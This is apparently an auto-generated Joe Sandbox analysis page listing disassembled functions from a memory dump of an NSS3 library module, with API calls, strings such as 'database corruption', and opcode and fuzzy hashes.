9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B5ED1

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: e73eb888e20500d6399ace70d3a82a3341b9b41fdf590be2877ef62a0d65549e
Instruction ID: d29575734e37de1d951d2eb0c5dae843ca93fa5d7cbd55081be96b1b4a4e05c5
Opcode Fuzzy Hash: e73eb888e20500d6399ace70d3a82a3341b9b41fdf590be2877ef62a0d65549e
Instruction Fuzzy Hash: E581B230B056119BEB19CF15D888BEAB7B4BF4131CF284269D8156BB51D730E862CBDD

Function 6C69DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C69DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69DF78

Strings

database corruption, xrefs: 6C69DE5C, 6C69DE8B
%s at line %d of [%.10s], xrefs: 6C69DE61, 6C69DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C69DE52, 6C69DE81

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 1ee346ff7708a7cc7948a96e6979a67b782d5f8c2d54ec2de92459c847b1a128
Instruction ID: 7b7dd854d44457ebea36dff2cbe6f68390b7f023a14dbd40ee8b23ccf1625cbb
Opcode Fuzzy Hash: 1ee346ff7708a7cc7948a96e6979a67b782d5f8c2d54ec2de92459c847b1a128
Instruction Fuzzy Hash: FA81B5716043029FD714CF25C884B6AB7F1BF85318F15883DE99A8BB61E731E849C75A

Function 6C64CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C64B999), ref: 6C64CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C64B999), ref: 6C64D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C64B999), ref: 6C64D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C64B999), ref: 6C79972B

Strings

database corruption, xrefs: 6C64CFE7, 6C64D013, 6C64D028, 6C64D039, 6C64D03E, 6C799786
%s at line %d of [%.10s], xrefs: 6C64CFEC, 6C64D018, 6C64D029, 6C64D03F, 6C79978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64CFDD, 6C64D00E, 6C64D022, 6C64D033, 6C799780

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: de814e745632c12456b3a7c0d9e14b16622de1b06a1daac0c7b19440bf4e1567
Instruction ID: 2d3186a1a8d89b1113a1525e5ee330d021142240af2c123ee96c13c89fee1759
Opcode Fuzzy Hash: de814e745632c12456b3a7c0d9e14b16622de1b06a1daac0c7b19440bf4e1567
Instruction Fuzzy Hash: 5E614771A042109FD310CF29C940BA7BBF1EF95318F2885ADE4499BB82D376E947C7A5

Function 6C724DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C72536F,00000022,?,?,00000000,?), ref: 6C724E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C724F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C724F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C724FAE
free.MOZGLUE(?), ref: 6C724FC8

Strings

oSrl", xrefs: 6C724DFB, 6C724EF4, 6C724EC5
%s=%s, xrefs: 6C724F89
%s=%c%s%c, xrefs: 6C724FA9

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSrl"
API String ID: 2709355791-2000907626
Opcode ID: 0b3c39fdc4a60c86d4e3209a53563ad0f28ffe2cea168030e3ca20016db39407
Instruction ID: 38f06c0a363412d47850aa1a165de95134164cfd4219d470ebcdc58e10cf4b69
Opcode Fuzzy Hash: 0b3c39fdc4a60c86d4e3209a53563ad0f28ffe2cea168030e3ca20016db39407
Instruction Fuzzy Hash: 5B517A31E041468BFF11CA69CA907FF7BF9AF86308F288135E890A7B41D33D890597A1

Function 6C6C3E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6C40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6C3F7F,?,00000055,?,?,6C6C1666,?,?), ref: 6C6C40D9
Part of subcall function 6C6C40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C6C1666,?,?), ref: 6C6C40FC
Part of subcall function 6C6C40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C6C1666,?,?), ref: 6C6C4138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6C3EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6C3ED6

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6C3EEE

Part of subcall function 6C71FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C718D2D,?,00000000,?), ref: 6C71FB85
Part of subcall function 6C71FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C71FBB1

PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C6C3F02
PL_FreeArenaPool.NSS3 ref: 6C6C3F14
PL_FinishArenaPool.NSS3 ref: 6C6C3F1C

Part of subcall function 6C7264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C72127C,00000000,00000000,00000000), ref: 6C72650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6C3F27

Strings

security, xrefs: 6C6C3EBC

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: d6974e31ca279679c839b4a2e91781dd2828e4d6cd8c0bf60770b91d64dd27ab
Instruction ID: cfd18a1ffed1304dd5e2aa92399976eb6c90341c49089ab4469c7464937d8951
Opcode Fuzzy Hash: d6974e31ca279679c839b4a2e91781dd2828e4d6cd8c0bf60770b91d64dd27ab
Instruction Fuzzy Hash: 0E213DB1A043006BD3108B14AD49FAB77B8FB4931CF04093DF959A7B41E735E618C79A

Function 6C70CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C70CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C70CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C70D079

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 559aa57f1138caa5c9518f906ba7cefd5ee9c80d9d66d4c4829d7e8774d20b1a
Instruction ID: 79500b29346bcef1fe012152f5b279f33a5bc5d0f56a94f979d794c325cc8dfd
Opcode Fuzzy Hash: 559aa57f1138caa5c9518f906ba7cefd5ee9c80d9d66d4c4829d7e8774d20b1a
Instruction Fuzzy Hash: D2C19CB1A002199BDB20CF24CD85BDAB7F4BB48318F1441A8E94CA7741E771EA95CF95

Function 6C6FDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7097C1,?,00000000,00000000,?,?,?,00000000,?,6C6E7F4A,00000000), ref: 6C6FDC68

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C6E7F4A,00000000,?,00000000,00000000), ref: 6C6FDFAA

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 4ed066c687d13536e81f780e392abca9a4ea7c4145c45423213bbf067be09db1
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 2881E271A066018BFF104E19C8943AA72D7EB6134DF20843AD939CAFE5D778F487C61A

Function 6C6D3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C6D3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6D3C94

Part of subcall function 6C6C95B0: TlsGetValue.KERNEL32(00000000,?,6C6E00D2,00000000), ref: 6C6C95D2
Part of subcall function 6C6C95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6E00D2,00000000), ref: 6C6C95E7
Part of subcall function 6C6C95B0: PR_Unlock.NSS3(?,?,?,?,6C6E00D2,00000000), ref: 6C6C9605

PORT_NewArena_Util.NSS3(00000800), ref: 6C6D3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C6D3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C6D3CE1

Part of subcall function 6C6D3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6EAE42), ref: 6C6D30AA
Part of subcall function 6C6D3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6D30C7
Part of subcall function 6C6D3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6D30E5
Part of subcall function 6C6D3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6D3116
Part of subcall function 6C6D3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6D312B
Part of subcall function 6C6D3090: PK11_DestroyObject.NSS3(?,?), ref: 6C6D3154
Part of subcall function 6C6D3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6D317E

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: d6366816d3760fb9d411ed7e8ace26c2ac096fa14b30fe61e371be48526c6821
Instruction ID: 4edb4768c5c0a1d4cd7f2e1753babf71bd23cb5ede64b5643841f88a2d19e326
Opcode Fuzzy Hash: d6366816d3760fb9d411ed7e8ace26c2ac096fa14b30fe61e371be48526c6821
Instruction Fuzzy Hash: D961E3B1A00201ABEB105F65DD49FAB76B9EF0474CF094039FE099AA92F731E815C7B5

Function 6C713D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C713440: PK11_GetAllTokens.NSS3 ref: 6C713481
Part of subcall function 6C713440: PR_SetError.NSS3(00000000,00000000), ref: 6C7134A3
Part of subcall function 6C713440: TlsGetValue.KERNEL32 ref: 6C71352E
Part of subcall function 6C713440: EnterCriticalSection.KERNEL32(?), ref: 6C713542
Part of subcall function 6C713440: PR_Unlock.NSS3(?), ref: 6C71355B

TlsGetValue.KERNEL32 ref: 6C713D8B
EnterCriticalSection.KERNEL32(?), ref: 6C713D9F
PR_Unlock.NSS3(?), ref: 6C713DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C713DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C713E4F

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

TlsGetValue.KERNEL32 ref: 6C713E97
EnterCriticalSection.KERNEL32(?), ref: 6C713EAB
PR_Unlock.NSS3(?), ref: 6C713ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C713EEE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 5568566f2456c5d69aff5945812d1a702eae4de6504e22d5f0b4eb3a5803e2ed
Instruction ID: 865c2fd3b50de739aea04ff79e2d206567f4360adb15b63c67ba765d08f7e211
Opcode Fuzzy Hash: 5568566f2456c5d69aff5945812d1a702eae4de6504e22d5f0b4eb3a5803e2ed
Instruction Fuzzy Hash: E65167B5A043019FEB11AF29DE49B6A73B8AF45318F1C4179DE0947E12EB31E858CBD1

Function 6C6C2C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(3E585004), ref: 6C6C2C5D

Part of subcall function 6C720D30: calloc.MOZGLUE ref: 6C720D50
Part of subcall function 6C720D30: TlsGetValue.KERNEL32 ref: 6C720D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C6C2C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6C2CE0

Part of subcall function 6C6C2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6C2CDA,?,00000000), ref: 6C6C2E1E
Part of subcall function 6C6C2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C6C2E33
Part of subcall function 6C6C2E00: TlsGetValue.KERNEL32 ref: 6C6C2E4E
Part of subcall function 6C6C2E00: EnterCriticalSection.KERNEL32(?), ref: 6C6C2E5E
Part of subcall function 6C6C2E00: PL_HashTableLookup.NSS3(?), ref: 6C6C2E71
Part of subcall function 6C6C2E00: PL_HashTableRemove.NSS3(?), ref: 6C6C2E84
Part of subcall function 6C6C2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C6C2E96
Part of subcall function 6C6C2E00: PR_Unlock.NSS3 ref: 6C6C2EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C2D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C6C2D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C6C2D3F
free.MOZGLUE(00000000), ref: 6C6C2D73
CERT_DestroyCertificate.NSS3(?), ref: 6C6C2DB8
free.MOZGLUE ref: 6C6C2DC8

Part of subcall function 6C6C3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6C3EC2
Part of subcall function 6C6C3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C6C3ED6
Part of subcall function 6C6C3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C6C3EEE
Part of subcall function 6C6C3E60: PR_CallOnce.NSS3(6C822AA4,6C7212D0), ref: 6C6C3F02
Part of subcall function 6C6C3E60: PL_FreeArenaPool.NSS3 ref: 6C6C3F14
Part of subcall function 6C6C3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6C3F27

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 52965af6f150582ee63278b64278aedb5ecbe2f499f359e684915aad1b1ca988
Instruction ID: 4d3616b81ffee3a8547e05e9b8518abe2271ee7404f4cc46ac441684adf71a3c
Opcode Fuzzy Hash: 52965af6f150582ee63278b64278aedb5ecbe2f499f359e684915aad1b1ca988
Instruction Fuzzy Hash: 7F51DCB1B043129BEB119E29DC89B5B77E5EFA4308F140438EC5983A10EB31F815CB9B

Function 6C6C7CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6C40D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C6C3F7F,?,00000055,?,?,6C6C1666,?,?), ref: 6C6C40D9
Part of subcall function 6C6C40D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C6C1666,?,?), ref: 6C6C40FC
Part of subcall function 6C6C40D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C6C1666,?,?), ref: 6C6C4138

PR_GetCurrentThread.NSS3 ref: 6C6C7CFD

Part of subcall function 6C789BF0: TlsGetValue.KERNEL32(?,?,?,6C7D0A75), ref: 6C789C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C7E9030), ref: 6C6C7D1B

Part of subcall function 6C71FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C6C1A3E,00000048,00000054), ref: 6C71FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C7E9048), ref: 6C6C7D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C6C7D50
PR_GetCurrentThread.NSS3 ref: 6C6C7D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C6C7D7D
free.MOZGLUE(?), ref: 6C6C7D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C6C7DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C6C7E19

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
